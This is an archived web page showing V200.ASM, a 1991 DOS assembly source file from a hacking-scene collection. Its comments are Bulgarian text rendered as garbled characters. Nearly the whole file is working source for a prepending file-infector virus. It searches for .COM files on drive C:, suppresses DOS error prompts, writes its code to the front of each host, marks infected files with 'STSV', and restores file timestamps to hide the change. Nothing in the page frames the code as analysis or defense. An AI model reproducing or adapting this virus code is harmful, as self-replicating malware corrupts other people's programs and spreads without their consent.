home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / V200.ASM < prev    next >
Assembly Source File  |  1991-04-14  |  7KB  |  178 lines

  1. ;------------------------------------------------------------------------------;
  2. ;                                                                              ;
  3. ;                               é¿░│▒ V200                                     ;
  4. ;                                                                              ;
  5. ;   V200 Ñ »á░ế▓Ñ¡ ó¿░│▒, ñÑ⌐▒▓ó¿Ñ▓« ¼│ ▒Ñ ▒║▒▓«⌐ ó ▒½Ññ¡«▓« - »░¿ ▒▓á░▓¿░á¡Ñ;
  6. ; ¡á ºá░áºÑ¡ ┤á⌐½ ó¿░│▒║▓ »░Ñ▓║░▒óá ╢┐½á▓á ▓Ѭ│╣á ñ¿░Ѭ▓«░¿┐ ¿ ºá░áº┐óá ó▒¿╖¬¿ ;
  7. ; COM - ┤á⌐½«óÑ,ó ▒½│╖á⌐,╖Ñ ó ▒¿▒▓Ѽá▓á ¿¼á │▒▓░«⌐▒▓ó« C: ▓Ѻ¿ ñÑ⌐▒▓ó¿┐ ▒Ñ     ;
  8. ; ¿º»║½¡┐óá▓ ó ¡Ñú«óá▓á ▓Ѭ│╣á ñ¿░Ѭ▓«░¿┐.                                     ;
  9. ;   V200 ▒Ñ ¡á▒▓á¡┐óá »░Ññ¿ ¬«ñá ¡á ºá░áºÑ¡¿┐ ┤á⌐½, ó¿░│▒║▓ «░úá¡¿º¿░á         ;
  10. ; ▒«í▒▓óÑ¡á »░«╢Ññ│░ᠺᠫí░áí«▓¬á ¡á ¬░¿▓¿╖¡¿ ú░Ñ╕¬¿ (óѬ▓«░ 24h) ¿ ¡Ñ »░«¼Ñ¡┐;
  11. ; ñá▓á▓á ¿ ╖á▒á ¡á ºá░┐ºá¡¿▓Ñ ┤á⌐½«óÑ.                                         ;
  12. ;                                                                              ;
  13. ;------------------------------------------------------------------------------;
  14.  
  15.         .model Tiny
  16.         .code
  17.  
  18.  
  19. VirLen  =       200
  20. NewId   =       offset Mark  - 100h
  21.  
  22. ;-----------------------------------------------------------------------------;
  23.  
  24.         ORG     0D0h
  25.  
  26. INT24   dw      ?                       ; Æ│¬ ╣Ñ í║ñÑ ¡á▒«╖Ñ¡ óѬ▓«░ 24h.
  27. INT24a  db      ?
  28.  
  29. NewDTA  db      15h dup (?)             ; æ▓░│¬▓│░á ¡á DTA.
  30. FAttr   db      ?
  31. FTime   dw      ?
  32. FDate   dw      ?
  33. FLen    dw      ?, ?
  34. FName   db      0Dh dup (?)
  35.  
  36. ;-----------------------------------------------------------------------------;
  37.  
  38.         ORG     100h
  39.  
  40. Start:
  41.         push    ax
  42.  
  43.         mov     INT24,3B0h              ; ì«ó óѬ▓«░ 24h :     mov   al,03
  44.         mov     INT24a,0CFh             ;                      iret
  45.  
  46.         mov     ax,2524h
  47.         mov     dx,offset INT24
  48.         int     21h                     ; Å░Ñ¡á▒«╖óá óѬ▓«░á 24h.
  49.  
  50.         mov     ah,19h
  51.         int     21h                     ; ê▒¬á «▓ äÄæ ▓Ѭ│╣«▓« │▒▓░«⌐▒▓ó«.
  52.         push    ax                      ; çá»áºóá ▓Ѭ│╣«▓« │▒▓░«⌐▒▓ó«.
  53.  
  54.  
  55.         mov     ah,0Eh
  56.         mov     dl,02h
  57.         int     21h                     ; æ¼Ñ¡┐ ▓Ѭ│╣«▓« │▒▓░«⌐▒▓ó« ¡á C:
  58.  
  59.         mov     ax,cs
  60.         add     ah,10h
  61.         mov     es,ax                   ; ES = CS + 64KBytes
  62.         mov     si,offset Start
  63.         xor     di,di
  64.         mov     cx,VirLen               ; Å░Ñ╡ó║░½┐ ¬«ñá ¡á ó¿░│▒á 64KBytes
  65.         rep     movsb                   ; »«-¡áú«░Ñ ó »á¼Ñ▓▓á.
  66.  
  67.         mov     dx,offset NewDTA        ; Å«▒▓áó┐ DTA ¡á ¡«ó áñ░Ñ▒.
  68.         mov     ah,1Ah
  69.         int     21h
  70.  
  71.  
  72. ;...... çừ╖óá ▓║░▒Ñ¡Ñ ¡á ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
  73.  
  74.         mov     dx, offset AllCom       ; Æ║░▒¿ ó▒¿╖¬¿ '*.COM' ┤á⌐½«óÑ.
  75.         mov     cl,110B
  76.         mov     ah,4Eh                  ; êºó¿¬óá Find First.
  77.         int     21h
  78.         jc      Done                    ; Å░«ñ║½ªáóá ¡á▓á▓║¬ »░¿ ½¿»▒á ¡á
  79.                                         ; ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
  80. FindNext:
  81.  
  82.         mov     dx,offset Fname         ; é dx áñ░Ñ▒á ¡á ¿¼Ñ▓« ¡á ┤á⌐½á «▓ DTA.
  83.         mov     ax,3D02h                ; Ä▓óá░┐ ┤á⌐½á ºá ºá»¿▒/╖Ñ▓Ñ¡Ñ.
  84.         int     21h
  85.  
  86.         mov     bx,ax                   ; çá»áºóá ¡«¼Ñ░á ¡á «▓ó«░Ñ¡¿┐ ┤á⌐½.
  87.  
  88.         push    ds                      ; çá»áºóá DS.
  89.  
  90.         push    es
  91.         pop     ds                      ; Å░«╖¿▓á ▒Ñ ╢ѽ¿┐ ┤á⌐½ ¡á áñ░Ñ▒á-DS:DX
  92.         mov     dx,VirLen               ; DS = CS + 64KBytes
  93.         mov     cx,0FFFFh               ; DX = ñ║½ª¿¡á▓á ¡á ó¿░│▒á
  94.         mov     ah,3Fh                  ; Æá¼ ▒Ñ ¡á¼¿░á ó¿░│▒á,á ▒Ñúá ▒½Ññ ¡Ñú«
  95.         int     21h                     ; ¿ ┤á⌐½║▓.
  96.  
  97.         add     ax,VirLen               ; ôóѽ¿╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á(AX) ▒
  98.         mov     si,ax                   ; ñ║½ª¿¡á▓á ¡á ó¿░│▒á ¿ ┐ ºá»áºóá ó SI.
  99.  
  100.         cmp     Word ptr ds:[NewId+VirLen],'TS'  ; ä὿ ┤á⌐½║▓ Ñ ºá░áºÑ¡ óÑ╖Ñ ?
  101.         je      Close
  102.  
  103.         xor     cx,cx
  104.         xor     dx,dx
  105.         mov     ax,4200h                ; Å░ѼÑ▒▓óá ▒Ñ │¬áºá▓ѽ┐ ¡á ┤á⌐½á ó
  106.         int     21h                     ; ¡á╖Ὣ▓« ¼│.
  107.  
  108.         mov     cx,si
  109.         mov     ah,40h                  ; Ä▓ áñ░Ñ▒á DS:DX ▒Ñ ºá»¿▒óá ¡á ñ¿▒¬á
  110.         int     21h                     ; ó¿░│▒ + ┤á⌐½
  111.  
  112.         mov     cx,cs:FTime
  113.         mov     dx,cs:FDate
  114.         mov     ax,5701h                ; é║º▒▓á¡«ó┐óá▓ ▒Ñ ñá▓á▓á ¿ ó░ѼÑ▓« ¡á
  115.         int     21h                     ; ºá░áº┐óá¡¿┐ ┤á⌐½ «▓ DTA.
  116.  
  117. Close:
  118.         pop     ds                      ; é║º▒▓á¡«ó┐óá DS.
  119.  
  120.         mov     ah,3Eh                  ; çá▓óá░┐ ┤á⌐½á.
  121.         int     21h
  122.  
  123.         mov     ah,4Fh
  124.         int     21h                     ; êºó¿¬óá Find Next,
  125.         jnc     FindNext                ; á¬« ¿¼á «╣Ñ ┤á⌐½«óÑ ó▒¿╖¬« ▒Ñ »«ó▓á░┐
  126.                                         ; ¿ ºá ▓┐╡.
  127. Done:
  128.         mov     dx,80h
  129.         mov     ah,1Ah
  130.         int     21h                     ; é║º▒▓á¡«ó┐óá ▒Ñ ▒▓á░¿┐ áñ░Ñ▒ ¡á DTA.
  131.  
  132.         pop     dx
  133.         mov     ah,0Eh
  134.         int     21h                     ; é║º▒▓á¡«ó┐óá ▒Ñ ▓Ѭ│╣¿┐ ºáóá░Ñ¡ ñ¿▒¬.
  135.  
  136. ;....... ìá╖Ὣ ¡á ▒▓á░▓¿░á¡Ñ ¡á »░«ú░á¼á▓á ¬║¼ ¬«┐▓« Ñ ºá¬á╖Ñ¡ ó¿░│▒á.
  137.  
  138.         mov     si,offset TransF
  139.         mov     cx,offset EndCode - offset Transf
  140.         xor     di,di                   ; è«»¿░á 64KBytes »«-¡áú«░Ñ Ññ¡á
  141.         rep     movsb                   ; ▒»«¼áúá▓ѽ¡á ╖á▒▓, ¿º»«½ºóá¡ »«-ñ«½│.
  142.  
  143.         pop     bx                      ; é║º▒▓á¡«ó┐óá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX ó BX.
  144.  
  145.         push    es
  146.         push    cx
  147.         RETF                            ; Ä▓¿óá ¡á áñ░Ñ▒ ES:00
  148.  
  149. ;.......................................
  150.                                         ; îá░¬¿░«ó¬á ºá ░ẻ«º¡áóá¡Ñ ¡á ºá░áºÑ¡¿
  151. Mark    DB      'STSV'                  ; ┤á⌐½«óÑ.
  152. AllCom  db      '*.COM',0               ; îá▒¬á ºá ▓║░▒Ñ¡Ñ ¡á ó▒¿╖¬¿ ┤á⌐½«óÑ
  153. ;.......................................; ºá ºá░áº┐óá¡Ñ.
  154.  
  155. TRansF:
  156.         push    ds
  157.         pop     es
  158.  
  159.         mov     si,offset EndCode
  160.         mov     di,offset Start
  161.         dec     cx
  162.         sub     cx,si                   ; æ¼║¬óá ¬«ñá ¡á »░«ú░á¼á▓ᠺừ╖óá╣
  163.         rep     movsb                   ; ¡Ñ»«▒░Ññ▒▓óÑ¡« ▒½Ññ ó¿░│▒á ▒ 100h íá⌐▓á
  164.                                         ; ¡áñ«½│.
  165.         push    ds
  166.         mov     ax,100h
  167.         push    ax
  168.  
  169.         mov     ax,bx                   ; é║º▒▓á¡«ó┐óá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX.
  170.  
  171.         RETF                            ; Å░Ññáóá │»░áó½Ñ¡¿Ñ▓« ¡á »░«ú░á¼á▓á
  172.                                         ; ¡á áñ░Ñ▒ DS:100h.
  173. ;-----------------------------------------------------------------------------;
  174. EndCode:
  175.         int     20h                     ; Ä▓ ▓│¬ ºá»«╖óá ºá░áºÑ¡á▓á »░«ú░á¼á
  176.  
  177. End     Start
  178.